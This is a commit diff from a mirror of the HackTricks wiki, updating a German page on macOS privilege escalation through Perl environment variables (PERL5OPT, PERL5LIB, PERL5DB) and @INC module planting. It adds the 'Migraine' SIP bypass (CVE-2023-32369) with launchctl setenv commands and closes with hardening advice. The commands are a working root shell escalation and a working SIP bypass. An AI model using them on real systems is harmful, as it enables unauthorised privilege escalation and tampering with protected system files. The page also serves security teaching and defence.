mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/macos-hardening/macos-security-and-privilege-escalation
This commit is contained in:
parent
70c1859096
commit
98b5310383
@ -2,15 +2,15 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Über die Umgebungsvariablen `PERL5OPT` & `PERL5LIB`
|
||||
## Über die Umgebungsvariable `PERL5OPT` & `PERL5LIB`
|
||||
|
||||
Mit der Umgebungsvariable PERL5OPT ist es möglich, perl beliebige Befehle ausführen zu lassen.\
|
||||
Mit der Umgebungsvariable **`PERL5OPT`** ist es möglich, dass **Perl** willkürliche Befehle ausführt, wenn der Interpreter startet (sogar **bevor** die erste Zeile des Zielskripts geparst wird).
|
||||
Zum Beispiel, erstellen Sie dieses Skript:
|
||||
```perl:test.pl
|
||||
#!/usr/bin/perl
|
||||
print "Hello from the Perl script!\n";
|
||||
```
|
||||
Jetzt **exportiere die Umgebungsvariable** und führe das **perl** Skript aus:
|
||||
Jetzt **exportiere die Umgebungsvariable** und führe das **perl**-Skript aus:
|
||||
```bash
|
||||
export PERL5OPT='-Mwarnings;system("whoami")'
|
||||
perl test.pl # This will execute "whoami"
|
||||
@ -22,17 +22,30 @@ package pmod;
|
||||
system('whoami');
|
||||
1; # Modules must return a true value
|
||||
```
|
||||
Und dann die Umgebungsvariablen verwenden:
|
||||
Und dann die Umgebungsvariablen verwenden, damit das Modul automatisch gefunden und geladen wird:
|
||||
```bash
|
||||
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
|
||||
PERL5LIB=/tmp/ PERL5OPT=-Mpmod perl victim.pl
|
||||
```
|
||||
## Über Abhängigkeiten
|
||||
### Andere interessante Umgebungsvariablen
|
||||
|
||||
Es ist möglich, die Reihenfolge des Abhängigkeitsordners von Perl auszuführen:
|
||||
* **`PERL5DB`** – wenn der Interpreter mit dem **`-d`** (Debugger) Flag gestartet wird, wird der Inhalt von `PERL5DB` als Perl-Code *innerhalb* des Debugger-Kontexts ausgeführt. Wenn Sie sowohl die Umgebung **als auch** die Befehlszeilenflags eines privilegierten Perl-Prozesses beeinflussen können, können Sie etwas wie Folgendes tun:
|
||||
|
||||
```bash
|
||||
export PERL5DB='system("/bin/zsh")'
|
||||
sudo perl -d /usr/bin/some_admin_script.pl # wird eine Shell öffnen, bevor das Skript ausgeführt wird
|
||||
```
|
||||
|
||||
* **`PERL5SHELL`** – unter Windows steuert diese Variable, welches Shell-Executable Perl verwenden wird, wenn es eine Shell starten muss. Sie wird hier nur der Vollständigkeit halber erwähnt, da sie unter macOS nicht relevant ist.
|
||||
|
||||
Obwohl `PERL5DB` den `-d` Schalter erfordert, ist es üblich, Wartungs- oder Installationsskripte zu finden, die als *root* mit diesem Flag aktiviert für ausführliche Fehlersuche ausgeführt werden, wodurch die Variable ein gültiger Eskalationsvektor wird.
|
||||
|
||||
## Über Abhängigkeiten (@INC-Missbrauch)
|
||||
|
||||
Es ist möglich, den Include-Pfad aufzulisten, den Perl durchsuchen wird (**`@INC`**), indem Sie Folgendes ausführen:
|
||||
```bash
|
||||
perl -e 'print join("\n", @INC)'
|
||||
```
|
||||
Was etwas zurückgeben wird wie:
|
||||
Typische Ausgaben auf macOS 13/14 sehen folgendermaßen aus:
|
||||
```bash
|
||||
/Library/Perl/5.30/darwin-thread-multi-2level
|
||||
/Library/Perl/5.30
|
||||
@ -44,17 +57,44 @@ Was etwas zurückgeben wird wie:
|
||||
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
|
||||
/System/Library/Perl/Extras/5.30
|
||||
```
|
||||
Einige der zurückgegebenen Ordner existieren nicht einmal, jedoch **existiert** **`/Library/Perl/5.30`**, es ist **nicht** **geschützt** durch **SIP** und es ist **vor** den Ordnern **geschützt durch SIP**. Daher könnte jemand diesen Ordner missbrauchen, um Skriptabhängigkeiten dort hinzuzufügen, sodass ein hochprivilegiertes Perl-Skript es lädt.
|
||||
Einige der zurückgegebenen Ordner existieren nicht einmal, jedoch existiert **`/Library/Perl/5.30`**, ist *nicht* durch SIP geschützt und befindet sich *vor* den SIP-geschützten Ordnern. Daher, wenn Sie als *root* schreiben können, können Sie ein bösartiges Modul (z.B. `File/Basename.pm`) ablegen, das *bevorzugt* von jedem privilegierten Skript, das dieses Modul importiert, geladen wird.
|
||||
|
||||
> [!WARNING]
|
||||
> Beachten Sie jedoch, dass Sie **root sein müssen, um in diesen Ordner zu schreiben** und heutzutage erhalten Sie diese **TCC-Eingabeaufforderung**:
|
||||
> Sie benötigen weiterhin **root**, um in `/Library/Perl` zu schreiben, und macOS zeigt ein **TCC**-Prompt an, das nach *Vollzugriff auf das Laufwerk* für den Prozess fragt, der die Schreiboperation durchführt.
|
||||
|
||||
<figure><img src="../../../images/image (28).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
Wenn beispielsweise ein Skript **`use File::Basename;`** importiert, wäre es möglich, `/Library/Perl/5.30/File/Basename.pm` zu erstellen, das vom Angreifer kontrollierten Code enthält.
|
||||
|
||||
Wenn ein Skript beispielsweise **`use File::Basename;`** importiert, wäre es möglich, **`/Library/Perl/5.30/File/Basename.pm`** zu erstellen, um beliebigen Code auszuführen.
|
||||
## SIP-Umgehung über den Migrationsassistenten (CVE-2023-32369 “Migraine”)
|
||||
|
||||
## References
|
||||
Im Mai 2023 gab Microsoft **CVE-2023-32369** bekannt, mit dem Spitznamen **Migraine**, eine Post-Exploitation-Technik, die es einem *root*-Angreifer ermöglicht, den **System Integrity Protection (SIP)** vollständig zu **umgehen**.
|
||||
Die verwundbare Komponente ist **`systemmigrationd`**, ein Daemon mit der Berechtigung **`com.apple.rootless.install.heritable`**. Jeder von diesem Daemon erzeugte Kindprozess erbt die Berechtigung und läuft daher **außerhalb** der SIP-Beschränkungen.
|
||||
|
||||
- [https://www.youtube.com/watch?v=zxZesAN-TEk](https://www.youtube.com/watch?v=zxZesAN-TEk)
|
||||
Unter den von den Forschern identifizierten Kindern befindet sich der von Apple signierte Interpreter:
|
||||
```
|
||||
/usr/bin/perl /usr/libexec/migrateLocalKDC …
|
||||
```
|
||||
Weil Perl `PERL5OPT` (und Bash `BASH_ENV`) respektiert, reicht es aus, die *Umgebung* des Daemons zu vergiften, um willkürliche Ausführung in einem SIP-losen Kontext zu erlangen:
|
||||
```bash
|
||||
# As root
|
||||
launchctl setenv PERL5OPT '-Mwarnings;system("/private/tmp/migraine.sh")'
|
||||
|
||||
# Trigger a migration (or just wait – systemmigrationd will eventually spawn perl)
|
||||
open -a "Migration Assistant.app" # or programmatically invoke /System/Library/PrivateFrameworks/SystemMigration.framework/Resources/MigrationUtility
|
||||
```
|
||||
Wenn `migrateLocalKDC` ausgeführt wird, startet `/usr/bin/perl` mit dem bösartigen `PERL5OPT` und führt `/private/tmp/migraine.sh` *aus, bevor SIP wieder aktiviert wird*. Von diesem Skript aus können Sie beispielsweise einen Payload in **`/System/Library/LaunchDaemons`** kopieren oder das erweiterte Attribut `com.apple.rootless` zuweisen, um eine Datei **unlöschbar** zu machen.
|
||||
|
||||
Apple hat das Problem in macOS **Ventura 13.4**, **Monterey 12.6.6** und **Big Sur 11.7.7** behoben, aber ältere oder nicht gepatchte Systeme bleiben ausnutzbar.
|
||||
|
||||
## Empfehlungen zur Härtung
|
||||
|
||||
1. **Gefährliche Variablen löschen** – privilegierte launchdaemons oder Cron-Jobs sollten mit einer sauberen Umgebung gestartet werden (`launchctl unsetenv PERL5OPT`, `env -i` usw.).
|
||||
2. **Vermeiden Sie es, Interpreter als root auszuführen**, es sei denn, es ist unbedingt erforderlich. Verwenden Sie kompilierte Binärdateien oder entziehen Sie frühzeitig die Berechtigungen.
|
||||
3. **Vendor-Skripte mit `-T` (Taint-Modus)**, damit Perl `PERL5OPT` und andere unsichere Schalter ignoriert, wenn die Taint-Prüfung aktiviert ist.
|
||||
4. **Halten Sie macOS auf dem neuesten Stand** – “Migraine” ist in den aktuellen Versionen vollständig gepatcht.
|
||||
|
||||
## Referenzen
|
||||
|
||||
- Microsoft Security Blog – “Neue macOS-Sicherheitsanfälligkeit, Migraine, könnte den Systemintegritätsschutz umgehen” (CVE-2023-32369), 30. Mai 2023.
|
||||
- Hackyboiz – “macOS SIP Bypass (PERL5OPT & BASH_ENV) Forschung”, Mai 2025.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user